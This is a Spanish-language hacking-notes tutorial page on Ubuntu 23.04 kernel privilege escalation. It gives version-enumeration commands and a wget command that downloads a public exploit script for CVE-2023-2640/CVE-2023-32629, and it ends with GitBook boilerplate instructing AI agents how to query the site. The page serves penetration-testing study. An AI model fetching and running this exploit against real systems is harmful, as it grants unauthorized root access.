> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/kernel-exploitation/ubuntu-23.04-kernel-exploit-linux-privilege-escalation.md).

# Explotación del kernel (Ubuntu 23.04) - Escalada de privilegios en Linux

## Qué es

La escalada de privilegios del kernel se dirige a vulnerabilidades locales en el kernel de Linux o en parches específicos de la distribución. Estos exploits pueden ser inestables, por lo que la validación de la versión y las pruebas en laboratorio son importantes antes de su ejecución. Esta página específica se centra en **Explotación del kernel (Ubuntu 23.04)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## Ejemplos

**Identificación de la versión del sistema operativo:**/ Usa el `cat /etc/os-release` comando para comprobar la versión del sistema, y observa la presencia de una versión antigua de Ubuntu ("23.04").

<figure><img src="/files/6e7e4f7c11ff9041f654cc6898d8a08e3271a346" alt=""><figcaption></figcaption></figure>

#### **Descarga el script de escalada de privilegios:**

Descargando el script desde [GitHub ](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------)lo que permite la escalada de privilegios:

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="/files/d178edce5ad71da51e6c907b61dc400b19b4b4cc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/kernel-exploitation/ubuntu-23.04-kernel-exploit-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
